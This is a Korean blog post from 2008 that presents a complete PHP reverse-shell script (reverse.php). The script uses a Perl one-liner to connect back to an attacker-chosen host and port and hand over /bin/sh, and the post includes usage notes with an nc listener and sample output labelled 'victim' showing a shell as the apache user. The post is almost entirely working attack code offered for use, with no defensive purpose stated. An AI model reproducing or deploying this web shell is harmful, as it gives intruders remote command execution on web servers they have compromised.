티스토리 뷰

프로그래밍/PHP

PHP+Perl Shell Binding

프링글 2008. 8. 25. 15:03

<?php
/*

+-----------------------------------+
| PHP + PERL Shell Binding               |
|                                                     |
+-----------------------------------+

1. reverse.php (host default : $_SERVER[REMOTE_ADDR])

    >>> http://xxxxxx.com/reverse.php?port=5555
    >>> Connected >>> xxx.xxx.xxx.xxx:5555
    or
    >>> http://xxxxxx.com/reverse.php?host=xxx.xxx.xxx.xxx&port=5555
    >>> Connected >>> xxx.xxx.xxx.xxx:5555

2. local or remote system

    [root@bando ~]$ nc -l -p 5555
    >>> victim : xxx.xxx.xxx.xxx
    id
    uid=48(apache) gid=48(apache) groups=48(apache)

*/

$host = ($_GET[host]) ? $_GET[host] : $_SERVER[REMOTE_ADDR];
$port = ($_GET[port]) ? $_GET[port] : 31337;
$victim = $_SERVER[SERVER_ADDR];
$v0zlt = "perl -e 'use Socket;socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp')) || exit 1;if (!connect(SOCK, pack \"SnA4x8\", 2, $port, inet_aton(\"$host\"))) {exit 1;}if ( !fork() ) {send(SOCK,\">>> victim : $victim\n\",0);open(STDIN,\">&SOCK\");open(STDOUT,\">&SOCK\");open(STDERR,\">&SOCK\");system(\"/bin/sh\");exit(0);}print \"Connected >>> $host:$port\n\"' ";
system($v0zlt);
?>

댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크